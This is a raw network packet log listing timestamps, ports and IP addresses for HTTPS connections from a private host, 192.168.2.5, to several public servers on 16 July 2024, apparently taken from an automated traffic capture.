Jul 16, 2024 13:07:42.369317055 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.369335890 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.369354010 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.369383097 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.369438887 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.369443893 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.369539976 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.369611025 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.369772911 CEST	50073	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:42.369791031 CEST	443	50073	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:42.582607031 CEST	443	50075	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:42.582926989 CEST	50075	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:42.582947969 CEST	443	50075	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:42.583266020 CEST	443	50075	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:42.583671093 CEST	50075	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:42.583731890 CEST	443	50075	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:42.584053040 CEST	50075	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:42.584084034 CEST	443	50075	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:42.584172010 CEST	50075	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:42.584203005 CEST	443	50075	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:42.606026888 CEST	50075	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:42.606041908 CEST	443	50075	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:42.852087021 CEST	443	50075	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:42.852179050 CEST	443	50075	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:42.852334023 CEST	50075	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:42.852777004 CEST	50075	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:42.852783918 CEST	443	50075	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:42.857284069 CEST	50077	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:42.857328892 CEST	443	50077	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:42.857502937 CEST	50077	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:42.857789993 CEST	50077	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:42.857805967 CEST	443	50077	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:43.141083002 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:43.141155958 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:43.141308069 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:43.141535044 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:43.141556025 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:43.427149057 CEST	443	50077	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:43.427493095 CEST	50077	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:43.427535057 CEST	443	50077	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:43.427855968 CEST	443	50077	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:43.429008961 CEST	50077	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:43.429064989 CEST	443	50077	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:43.429627895 CEST	50077	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:43.476502895 CEST	443	50077	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:43.599139929 CEST	443	50077	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:43.599989891 CEST	443	50077	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:43.600053072 CEST	50077	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:43.602652073 CEST	50077	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:43.602674007 CEST	443	50077	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:44.122185946 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.123687983 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.123699903 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.124159098 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.125159979 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.125235081 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.125962019 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.168498993 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.392726898 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.394000053 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.394021988 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.394062042 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.394077063 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.394110918 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.394133091 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.480377913 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.480407953 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.480510950 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.480510950 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.480526924 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.481038094 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.482161999 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.482182026 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.482239008 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.482254028 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.482314110 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.567446947 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.567486048 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.567603111 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.567615032 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.567636013 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.567673922 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.568378925 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.568397999 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.568598986 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.568607092 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.568725109 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.570195913 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.570215940 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.570251942 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.570257902 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.570283890 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.570329905 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.571165085 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.571182966 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.571257114 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.571264982 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.571542978 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.654118061 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.654146910 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.654273033 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.654284000 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.654378891 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.655271053 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.655293941 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.655375957 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.655375957 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.655386925 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.656193972 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.656219959 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.656272888 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.656286955 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.656286955 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.656299114 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.656326056 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.656379938 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:44.656616926 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.658129930 CEST	50078	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:44.658147097 CEST	443	50078	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:45.006485939 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:45.006530046 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:45.006664991 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:45.009778023 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:45.009803057 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:45.824275017 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:45.824860096 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:45.824883938 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:45.826103926 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:45.827888966 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:45.828062057 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:45.828506947 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:45.872504950 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.088000059 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.089458942 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.089507103 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.089544058 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.089570045 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.089613914 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.089627028 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.089632034 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.089695930 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.175756931 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.175792933 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.175852060 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.175878048 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.175906897 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.175925970 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.177506924 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.177527905 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.177601099 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.177618027 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.177721977 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.261663914 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.261694908 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.261776924 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.261801958 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.261812925 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.261852026 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.262726068 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.262748957 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.262787104 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.262793064 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.262845039 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.264825106 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.264848948 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.264893055 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.264899969 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.264945984 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.264945984 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.265535116 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.265558004 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.265619040 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.265628099 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.265705109 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.348478079 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.348546028 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.348601103 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.348613977 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.348663092 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.348663092 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.349211931 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.349251986 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.349287987 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.349294901 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.349369049 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.349423885 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:46.349487066 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.350016117 CEST	50079	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:46.350032091 CEST	443	50079	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:47.010931015 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:47.010972023 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:47.014518976 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:47.014967918 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:47.014985085 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:47.847052097 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:47.865449905 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:47.865520000 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:47.866677999 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:47.867079973 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:47.867263079 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:47.867268085 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:47.911393881 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:47.911420107 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.116873026 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.119024992 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.119052887 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.119128942 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.119131088 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.119162083 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.119184017 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.119190931 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.119190931 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.119224072 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.119225025 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.119224072 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.119286060 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.119357109 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.119412899 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.207209110 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.207276106 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.207314014 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.207365990 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.207387924 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.207408905 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.208874941 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.208920002 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.208959103 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.208975077 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.209005117 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.209024906 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.294351101 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.294374943 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.294428110 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.294447899 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.294466972 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.294488907 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.294939041 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.294955015 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.295003891 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.295015097 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.295038939 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.295056105 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.295067072 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.295759916 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.295785904 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.295820951 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.295835018 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.295856953 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.296766996 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.296781063 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.296842098 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.296859980 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.343821049 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.382633924 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.382648945 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.382714987 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.382733107 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.382800102 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.383419037 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.383433104 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.383485079 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.383497953 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.383533955 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.383553982 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.384135962 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.384150982 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.384218931 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.384232998 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.384289026 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.384836912 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.384855032 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.384917021 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.384929895 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.384980917 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.385165930 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.385179996 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.385234118 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.385245085 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.385307074 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.386010885 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.386024952 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.386087894 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.386100054 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.386154890 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.387778044 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.387790918 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.387850046 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.387862921 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.387928009 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.400849104 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.471549988 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.471577883 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.471705914 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.471739054 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.471786022 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.471798897 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.471946955 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.471961021 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.472012043 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.472018003 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.472274065 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.472441912 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.472455978 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.472497940 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.472507000 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.472984076 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.473004103 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.473036051 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.473042965 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.473058939 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.473086119 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.473335981 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.473350048 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.473417997 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.473423958 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.473777056 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.473794937 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.473828077 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.473834991 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.473865032 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.473893881 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.473898888 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.473932028 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:48.473999023 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.483508110 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.485775948 CEST	50080	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:48.485790968 CEST	443	50080	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:49.014128923 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:49.014168024 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:49.014225006 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:49.014488935 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:49.014503956 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:49.824341059 CEST	443	50083	152.199.21.175	192.168.2.5
